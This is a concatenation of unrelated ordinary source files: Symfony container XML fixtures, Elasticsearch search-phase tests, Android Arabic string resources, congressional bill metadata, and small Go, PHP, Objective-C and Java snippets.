      <argument type="collection">
        <argument>true</argument>
        <argument>false</argument>
      </argument>
    </service>
    <service id="configurator1" class="FooClass">
      <configurator function="sc_configure" />
    </service>
    <service id="configurator2" class="FooClass">
      <configurator service="baz" method="configure" />
    </service>
    <service id="configurator3" class="FooClass">
      <configurator class="BazClass" method="configureStatic" />
    </service>
    <service id="method_call1" class="FooClass">
      <call method="setBar" />
      <call method="setBar">
        <argument type="expression">service("foo").foo() ~ (container.hasparameter("foo") ? parameter("foo") : "default")</argument>
      </call>
    </service>
    <service id="method_call2" class="FooClass">
      <call method="setBar">
        <argument>foo</argument>
        <argument type="service" id="foo" />
        <argument type="collection">
          <argument>true</argument>
          <argument>false</argument>
        </argument>
      </call>
    </service>
    <service id="alias_for_foo" alias="foo" />
    <service id="another_alias_for_foo" alias="foo" public="false" />
    <service id="decorator_service" decorates="decorated" />
    <service id="decorator_service_with_name" decorates="decorated" decoration-inner-name="decorated.pif-pouf"/>
    <service id="decorator_service_with_name_and_priority" decorates="decorated" decoration-inner-name="decorated.pif-pouf" decoration-priority="5"/>
    <service id="new_factory1" class="FooBarClass">
      <factory function="factory" />
    </service>
    <service id="new_factory2" class="FooBarClass">
      <factory service="baz" method="getClass" />
    </service>
    <service id="new_factory3" class="FooBarClass">
      <factory class="BazClass" method="getInstance" />
    </service>
  </services>
</container>


text:
package org.elasticsearch.action.search;

import org.elasticsearch.action.ActionListener;
import org.elasticsearch.common.document.DocumentField;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.text.Text;
import org.elasticsearch.index.query.BoolQueryBuilder;
import org.elasticsearch.index.query.InnerHitBuilder;
import org.elasticsearch.index.query.QueryBuilder;
import org.elasticsearch.index.query.QueryBuilders;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.search.SearchHits;
import org.elasticsearch.search.builder.SearchSourceBuilder;
import org.elasticsearch.search.collapse.CollapseBuilder;
import org.elasticsearch.search.internal.InternalSearchResponse;
import org.elasticsearch.test.ESTestCase;
import org.hamcrest.Matchers;

import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
import java.util.stream.Collectors;
import java.util.stream.IntStream;

public class ExpandSearchPhaseTests extends ESTestCase {

    public void testCollapseSingleHit() throws IOException {
        final int iters = randomIntBetween(5, 10);
        for (int i = 0; i < iters; i++) {
            final int numInnerHits = randomIntBetween(1, 5);
            List<SearchHits> collapsedHits = new ArrayList<>(numInnerHits);
            for (int innerHitNum = 0; innerHitNum < numInnerHits; innerHitNum++) {
                SearchHits hits = new SearchHits(new SearchHit[]{new SearchHit(innerHitNum, "ID", new Text("type"),
                    Collections.emptyMap()), new SearchHit(innerHitNum + 1, "ID", new Text("type"),
                    Collections.emptyMap())}, 2, 1.0F);
                collapsedHits.add(hits);
            }

            AtomicBoolean executedMultiSearch = new AtomicBoolean(false);
            QueryBuilder originalQuery = randomBoolean() ? null : QueryBuilders.termQuery("foo", "bar");

            final MockSearchPhaseContext mockSearchPhaseContext = new MockSearchPhaseContext(1);
            String collapseValue = randomBoolean() ? null : "boom";

            mockSearchPhaseContext.getRequest().source(new SearchSourceBuilder()
                .collapse(new CollapseBuilder("someField")
                    .setInnerHits(IntStream.range(0, numInnerHits).mapToObj(hitNum -> new InnerHitBuilder().setName("innerHit" + hitNum))
                        .collect(Collectors.toList()))));
            mockSearchPhaseContext.getRequest().source().query(originalQuery);
            mockSearchPhaseContext.searchTransport = new SearchTransportService(
                Settings.builder().put("search.remote.connect", false).build(), null, null) {

                @Override
                void sendExecuteMultiSearch(MultiSearchRequest request, SearchTask task, ActionListener<MultiSearchResponse> listener) {
                    assertTrue(executedMultiSearch.compareAndSet(false, true));
                    assertEquals(numInnerHits, request.requests().size());
                    SearchRequest searchRequest = request.requests().get(0);
                    assertTrue(searchRequest.source().query() instanceof BoolQueryBuilder);

                    BoolQueryBuilder groupBuilder = (BoolQueryBuilder) searchRequest.source().query();
                    if (collapseValue == null) {
                        assertThat(groupBuilder.mustNot(), Matchers.contains(QueryBuilders.existsQuery("someField")));
                    } else {
                        assertThat(groupBuilder.filter(), Matchers.contains(QueryBuilders.matchQuery("someField", "boom")));
                    }
                    if (originalQuery != null) {
                        assertThat(groupBuilder.must(), Matchers.contains(QueryBuilders.termQuery("foo", "bar")));
                    }
                    assertArrayEquals(mockSearchPhaseContext.getRequest().indices(), searchRequest.indices());
                    assertArrayEquals(mockSearchPhaseContext.getRequest().types(), searchRequest.types());

                    List<MultiSearchResponse.Item> mSearchResponses = new ArrayList<>(numInnerHits);
                    for (int innerHitNum = 0; innerHitNum < numInnerHits; innerHitNum++) {
                        InternalSearchResponse internalSearchResponse = new InternalSearchResponse(collapsedHits.get(innerHitNum),
                            null, null, null, false, null, 1);
                        SearchResponse response = mockSearchPhaseContext.buildSearchResponse(internalSearchResponse, null);
                        mSearchResponses.add(new MultiSearchResponse.Item(response, null));
                    }

                    listener.onResponse(
                            new MultiSearchResponse(mSearchResponses.toArray(new MultiSearchResponse.Item[0]), randomIntBetween(1, 10000)));
                }
            };

            SearchHits hits = new SearchHits(new SearchHit[]{new SearchHit(1, "ID", new Text("type"),
                Collections.singletonMap("someField", new DocumentField("someField", Collections.singletonList(collapseValue))))},
                1, 1.0F);
            InternalSearchResponse internalSearchResponse = new InternalSearchResponse(hits, null, null, null, false, null, 1);
            AtomicReference<SearchResponse> reference = new AtomicReference<>();
            ExpandSearchPhase phase = new ExpandSearchPhase(mockSearchPhaseContext, internalSearchResponse, (r) ->
                new SearchPhase("test") {
                    @Override
                    public void run() throws IOException {
                        reference.set(mockSearchPhaseContext.buildSearchResponse(r, null));
                    }
                }
            );

            phase.run();
            mockSearchPhaseContext.assertNoFailure();
            assertNotNull(reference.get());
            SearchResponse theResponse = reference.get();
            assertEquals(numInnerHits, theResponse.getHits().getHits()[0].getInnerHits().size());

            for (int innerHitNum = 0; innerHitNum < numInnerHits; innerHitNum++) {
                assertSame(theResponse.getHits().getHits()[0].getInnerHits().get("innerHit" + innerHitNum), collapsedHits.get(innerHitNum));
            }

            assertTrue(executedMultiSearch.get());
            assertEquals(1, mockSearchPhaseContext.phasesExecuted.get());
        }
    }

    public void testFailOneItemFailsEntirePhase() throws IOException {
        AtomicBoolean executedMultiSearch = new AtomicBoolean(false);

        SearchHits collapsedHits = new SearchHits(new SearchHit[]{new SearchHit(2, "ID", new Text("type"),
            Collections.emptyMap()), new SearchHit(3, "ID", new Text("type"),
            Collections.emptyMap())}, 1, 1.0F);
        MockSearchPhaseContext mockSearchPhaseContext = new MockSearchPhaseContext(1);
        String collapseValue = randomBoolean() ? null : "boom";
        mockSearchPhaseContext.getRequest().source(new SearchSourceBuilder()
            .collapse(new CollapseBuilder("someField").setInnerHits(new InnerHitBuilder().setName("foobarbaz"))));
        mockSearchPhaseContext.searchTransport = new SearchTransportService(
            Settings.builder().put("search.remote.connect", false).build(), null, null) {

            @Override
            void sendExecuteMultiSearch(MultiSearchRequest request, SearchTask task, ActionListener<MultiSearchResponse> listener) {
                assertTrue(executedMultiSearch.compareAndSet(false, true));
                InternalSearchResponse internalSearchResponse = new InternalSearchResponse(collapsedHits,
                    null, null, null, false, null, 1);
                SearchResponse response = mockSearchPhaseContext.buildSearchResponse(internalSearchResponse, null);
                listener.onResponse(new MultiSearchResponse(
                    new MultiSearchResponse.Item[]{
                            new MultiSearchResponse.Item(null, new RuntimeException("boom")),
                            new MultiSearchResponse.Item(response, null)
                    }, randomIntBetween(1, 10000)));
            }
        };

        SearchHits hits = new SearchHits(new SearchHit[]{new SearchHit(1, "ID", new Text("type"),
            Collections.singletonMap("someField", new DocumentField("someField", Collections.singletonList(collapseValue)))),
            new SearchHit(2, "ID2", new Text("type"),
                Collections.singletonMap("someField", new DocumentField("someField", Collections.singletonList(collapseValue))))}, 1,
            1.0F);
        InternalSearchResponse internalSearchResponse = new InternalSearchResponse(hits, null, null, null, false, null, 1);
        AtomicReference<SearchResponse> reference = new AtomicReference<>();
        ExpandSearchPhase phase = new ExpandSearchPhase(mockSearchPhaseContext, internalSearchResponse, r ->
            new SearchPhase("test") {
                @Override
                public void run() throws IOException {
                    reference.set(mockSearchPhaseContext.buildSearchResponse(r, null));
                }
            }
        );
        phase.run();
        assertThat(mockSearchPhaseContext.phaseFailure.get(), Matchers.instanceOf(RuntimeException.class));
        assertEquals("boom", mockSearchPhaseContext.phaseFailure.get().getMessage());
        assertNotNull(mockSearchPhaseContext.phaseFailure.get());
        assertNull(reference.get());
        assertEquals(0, mockSearchPhaseContext.phasesExecuted.get());
    }

    public void testSkipPhase() throws IOException {
        MockSearchPhaseContext mockSearchPhaseContext = new MockSearchPhaseContext(1);
        mockSearchPhaseContext.searchTransport = new SearchTransportService(
            Settings.builder().put("search.remote.connect", false).build(), null, null) {

            @Override
            void sendExecuteMultiSearch(MultiSearchRequest request, SearchTask task, ActionListener<MultiSearchResponse> listener) {
              fail("no collapsing here");
            }
        };

        SearchHits hits = new SearchHits(new SearchHit[]{new SearchHit(1, "ID", new Text("type"),
            Collections.singletonMap("someField", new DocumentField("someField", Collections.singletonList(null)))),
            new SearchHit(2, "ID2", new Text("type"),
                Collections.singletonMap("someField", new DocumentField("someField", Collections.singletonList(null))))}, 1, 1.0F);
        InternalSearchResponse internalSearchResponse = new InternalSearchResponse(hits, null, null, null, false, null, 1);
        AtomicReference<SearchResponse> reference = new AtomicReference<>();
        ExpandSearchPhase phase = new ExpandSearchPhase(mockSearchPhaseContext, internalSearchResponse, r ->
            new SearchPhase("test") {
                @Override
                public void run() throws IOException {
                    reference.set(mockSearchPhaseContext.buildSearchResponse(r, null));
                }
            }
        );
        phase.run();
        mockSearchPhaseContext.assertNoFailure();
        assertNotNull(reference.get());
        assertEquals(1, mockSearchPhaseContext.phasesExecuted.get());
    }

    public void testSkipExpandCollapseNoHits() throws IOException {
        MockSearchPhaseContext mockSearchPhaseContext = new MockSearchPhaseContext(1);
        mockSearchPhaseContext.searchTransport = new SearchTransportService(
            Settings.builder().put("search.remote.connect", false).build(), null, null) {

            @Override
            void sendExecuteMultiSearch(MultiSearchRequest request, SearchTask task, ActionListener<MultiSearchResponse> listener) {
                fail("expand should not try to send empty multi search request");
            }
        };
        mockSearchPhaseContext.getRequest().source(new SearchSourceBuilder()
            .collapse(new CollapseBuilder("someField").setInnerHits(new InnerHitBuilder().setName("foobarbaz"))));

        SearchHits hits = new SearchHits(new SearchHit[0], 1, 1.0f);
        InternalSearchResponse internalSearchResponse = new InternalSearchResponse(hits, null, null, null, false, null, 1);
        AtomicReference<SearchResponse> reference = new AtomicReference<>();
        ExpandSearchPhase phase = new ExpandSearchPhase(mockSearchPhaseContext, internalSearchResponse, r ->
            new SearchPhase("test") {
                @Override
                public void run() throws IOException {
                    reference.set(mockSearchPhaseContext.buildSearchResponse(r, null));
                }
            }
        );
        phase.run();
        mockSearchPhaseContext.assertNoFailure();
        assertNotNull(reference.get());
        assertEquals(1, mockSearchPhaseContext.phasesExecuted.get());
    }

    public void testExpandRequestOptions() throws IOException {
        MockSearchPhaseContext mockSearchPhaseContext = new MockSearchPhaseContext(1);
        boolean version = randomBoolean();

        mockSearchPhaseContext.searchTransport = new SearchTransportService(
            Settings.builder().put("search.remote.connect", false).build(), null, null) {

            @Override
            void sendExecuteMultiSearch(MultiSearchRequest request, SearchTask task, ActionListener<MultiSearchResponse> listener) {
                final QueryBuilder postFilter = QueryBuilders.existsQuery("foo");
                assertTrue(request.requests().stream().allMatch((r) -> "foo".equals(r.preference())));
                assertTrue(request.requests().stream().allMatch((r) -> "baz".equals(r.routing())));
                assertTrue(request.requests().stream().allMatch((r) -> version == r.source().version()));
                assertTrue(request.requests().stream().allMatch((r) -> postFilter.equals(r.source().postFilter())));
            }
        };
        mockSearchPhaseContext.getRequest().source(new SearchSourceBuilder()
            .collapse(
                new CollapseBuilder("someField")
                    .setInnerHits(new InnerHitBuilder().setName("foobarbaz").setVersion(version))
            )
            .postFilter(QueryBuilders.existsQuery("foo")))
            .preference("foobar")
            .routing("baz");

        SearchHits hits = new SearchHits(new SearchHit[0], 1, 1.0f);
        InternalSearchResponse internalSearchResponse = new InternalSearchResponse(hits, null, null, null, false, null, 1);
        AtomicReference<SearchResponse> reference = new AtomicReference<>();
        ExpandSearchPhase phase = new ExpandSearchPhase(mockSearchPhaseContext, internalSearchResponse, r ->
            new SearchPhase("test") {
                @Override
                public void run() throws IOException {
                    reference.set(mockSearchPhaseContext.buildSearchResponse(r, null));
                }
            }
        );
        phase.run();
        mockSearchPhaseContext.assertNoFailure();
        assertNotNull(reference.get());
        assertEquals(1, mockSearchPhaseContext.phasesExecuted.get());
    }
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<!--
     Copyright (C) 2013 The Android Open Source Project

     Licensed under the Apache License, Version 2.0 (the "License");
     you may not use this file except in compliance with the License.
     You may obtain a copy of the License at

          http://www.apache.org/licenses/LICENSE-2.0

     Unless required by applicable law or agreed to in writing, software
     distributed under the License is distributed on an "AS IS" BASIS,
     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     See the License for the specific language governing permissions and
     limitations under the License.
 -->

<resources xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
    <string name="opt_dtpicker_done_label">"تم"</string>
    <string name="opt_dtpicker_hour_picker_description">"شريط التمرير الدائري للساعات"</string>
    <string name="opt_dtpicker_minute_picker_description">"شريط التمرير الدائري للدقائق"</string>
    <string name="opt_dtpicker_select_hours">"تحديد الساعات"</string>
    <string name="opt_dtpicker_select_minutes">"تحديد الدقائق"</string>
    <string name="opt_dtpicker_day_picker_description">"شبكة الشهر مكونة من الأيام"</string>
    <string name="opt_dtpicker_year_picker_description">"قائمة الأعوام"</string>
    <string name="opt_dtpicker_select_day">"تحديد الشهر واليوم"</string>
    <string name="opt_dtpicker_select_year">"تحديد العام"</string>
    <string name="opt_dtpicker_item_is_selected">"تم تحديد <xliff:g id="ITEM">%1$s</xliff:g>"</string>
    <string name="opt_dtpicker_deleted_key">"تم حذف <xliff:g id="KEY">%1$s</xliff:g>"</string>
</resources>


text:
<bill session="115" type="h" number="1535" updated="2017-06-19T21:30:23Z">
  <state datetime="2017-03-15">REFERRED</state>
  <status>
    <introduced datetime="2017-03-15"/>
  </status>
  <introduced datetime="2017-03-15"/>
  <titles>
    <title type="short" as="introduced">Lower Farmington River and Salmon Brook Wild and Scenic River Act</title>
    <title type="short" as="introduced">Lower Farmington River and Salmon Brook Wild and Scenic River Act</title>
    <title type="official" as="introduced">To amend the Wild and Scenic Rivers Act to designate certain segments of the Farmington River and Salmon Brook in the State of Connecticut as components of the National Wild and Scenic Rivers System, and for other purposes.</title>
    <title type="display">Lower Farmington River and Salmon Brook Wild and Scenic River Act</title>
  </titles>
  <sponsor bioguide_id="E000293"/>
  <cosponsors>
    <cosponsor bioguide_id="L000557" joined="2017-03-15"/>
  </cosponsors>
  <actions>
    <action datetime="2017-03-15">
      <text>Introduced in House</text>
    </action>
    <action datetime="2017-03-15" state="REFERRED">
      <text>Referred to the House Committee on Natural Resources.</text>
    </action>
    <action datetime="2017-03-24">
      <text>Referred to the Subcommittee on Federal Lands.</text>
    </action>
  </actions>
  <committees>
    <committee subcommittee="" code="HSII" name="House Natural Resources" activity="Referral"/>
    <committee subcommittee="Federal Lands" code="HSII10" name="House Natural Resources" activity="Referral"/>
  </committees>
  <relatedbills>
    <bill type="s" session="115" relation="unknown" number="617"/>
  </relatedbills>
  <subjects>
    <term name="Public lands and natural resources"/>
    <term name="Connecticut"/>
    <term name="Lakes and rivers"/>
    <term name="Wilderness and natural areas, wildlife refuges, wild rivers, habitats"/>
  </subjects>
  <amendments/>
  <committee-reports/>
</bill>


text:
NS_ASSUME_NONNULL_BEGIN

@interface BSInjectorImpl : NSObject<BSBinder, BSInjector>
@end

NS_ASSUME_NONNULL_END


text:
package main

import "github.com/durulina/duru/server"

//Main : Global entry point, you should not change this
func main() {
	server.Main()
}


text:
<?php

namespace AppBundle\DataFixtures\ORM;

use AppBundle\DataFixtures\SubdivisionsFixture;
use Doctrine\Common\DataFixtures\FixtureInterface;
use Doctrine\Common\Persistence\ObjectManager;

class LoadCarrolltonSubdivisionsData extends SubdivisionsFixture
{

    protected $subs = [
        'Arbor Creek',
        'Austin Waters',
        'Booth Creek',
        'Carillon Hills',
        'High Country',
        'Homestead At Carrollton',
        'Kingspoint',
        'Moore Farm',
        'Nob Hill',
        'Oak Hills',
        'Rosemeade',
        'Indian Creek',
        'Palisades',
        'Trafalgar Square',
    ];

    function getCityName()
    {
        return "Carrollton";
    }

}


text:
package com.vmware.xenonlabs;

import java.util.logging.Level;

import com.vmware.xenon.common.Operation;
import com.vmware.xenon.common.ServiceDocument;
import com.vmware.xenon.common.ServiceHost;
import com.vmware.xenon.common.test.TestRequestSender;
import com.vmware.xenon.services.common.QueryTask;
import com.vmware.xenon.services.common.QueryTask.Query;
import com.vmware.xenon.services.common.ServiceUriPaths;

/**
 * Utilities that are useful to testing Xenon
 */
public class UpgradeDemoTestUtils {
    private UpgradeDemoTestUtils() {}

    /**
     * Create and wait for specified query until the results reach a certain count.
     *
     * @param h - Xenon Service host, used to form URLs and get logger
     * @param query - usually built with QueryTask.Builder.createDirectTask()
     * @param count - result count desired.
     */
    static void waitUntilQueryResultsCountEquals(ServiceHost host, Query query, int count) {
        TestRequestSender sender = new TestRequestSender(host);
        QueryTask queryTask = QueryTask.Builder.createDirectTask()
                .setQuery(query)
                .build();
        // setting expectedResultCount in the query specification to keep query
        // from completing until result count is satisfied
        queryTask.querySpec.expectedResultCount = (long)count;
        Operation post = Operation.createPost(host, ServiceUriPaths.CORE_QUERY_TASKS).setBody(queryTask);
        sender.sendAndWait(post, QueryTask.class);
    }

    /**
     * Creates a query task that will not complete unless the result count
     * of the query matches the supplied value.
     * Note that a GET to the factory, and counting the results would be
     * equivalent to this query, but would have requird a polling loop
     * and the use of TestContext.waitFor()
     *
     * @param host - used to construct URL base and also get the logger
     * @param stateClass - document class to be queried
     * @param count - number of documents expected
     */
    static void waitForServiceCountEquals(ServiceHost host,
                                    Class<? extends ServiceDocument> stateClass,
                                    int count) {
        host.log(Level.INFO, "Checking service count for " + stateClass.toString());
        QueryTask.Query query = QueryTask.Query.Builder.create()
                .addKindFieldClause(stateClass)
                .build();
        waitUntilQueryResultsCountEquals(host, query, count);
    }
}


text:
package com.celerysoft.demo.adapters;

import android.content.Context;
import android.content.res.Resources;
import android.util.Log;
import android.util.TypedValue;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;

import com.celerysoft.demo.R;
import com.celerysoft.demo.bean.AttributeEnumerable;
import com.celerysoft.tablefixheaders.adapter.BaseTableAdapter;

import java.util.List;

public class MatrixTableAdapter2<T extends AttributeEnumerable> extends BaseTableAdapter {

	private final static int WIDTH_DIP = 110;
	private final static int HEIGHT_DIP = 32;

	private final Context context;

	private List<T> list;

	private final int width;
	private final int height;

	public MatrixTableAdapter2(Context context) {
		this.context = context;

		Resources r = context.getResources();

		width = Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, WIDTH_DIP, r.getDisplayMetrics()));
		height = Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, HEIGHT_DIP, r.getDisplayMetrics()));
	}

	public void setData(List<T> list) {
		this.list = list;
	}

	public T getItem(int row) {
		if (row <= getRowCount()) {
			return this.list.get(row);
		} else {
			return null;
		}
	}

	@Override
	public int getRowCount() {
		int rowCount = list.size() - 1;
		return rowCount >= 0 ? rowCount : 0;
	}

	@Override
	public int getColumnCount() {
		if (getRowCount() > 0) {
			return list.get(0).getAttributeCountable() - 1;
		} else {
			return 0;
		}
	}

	@Override
	public View getView(int row, int column, View convertView, ViewGroup parent) {
		if (convertView == null) {
			convertView = new TextView(context);
			((TextView) convertView).setGravity(Gravity.CENTER_VERTICAL);
		}

		((TextView) convertView).setText(list.get(row + 1).getAttribute(column + 1).toString());
		return convertView;
	}

	@Override
	public int getHeight(int row) {
		return height;
	}

	@Override
	public int getWidth(int column) {
		return width;
	}

	@Override
	public int getItemViewType(int row, int column) {
		return 0;
	}

	@Override
	public int getViewTypeCount() {
		return 1;
	}

	@Override
	public int getBackgroundResId(int row, int column) {
		return 0;
	}

	@Override
	public int getBackgroundHighlightResId(int row, int column) {
		return R.drawable.item_highlight_rect;
	}

	@Override
	public boolean isRowSelectable(int row) {
		return true;
	}

	@Override
	public long getItemId(int row, int column) {
		return 0;
	}

	@Override
	public Object getItem(int row, int column) {
		if (row <= getRowCount()) {
			T t = this.list.get(row);
			if (t != null && column <= getColumnCount()) {
				return t.getAttribute(column);
			}
		}

		return null;
	}
}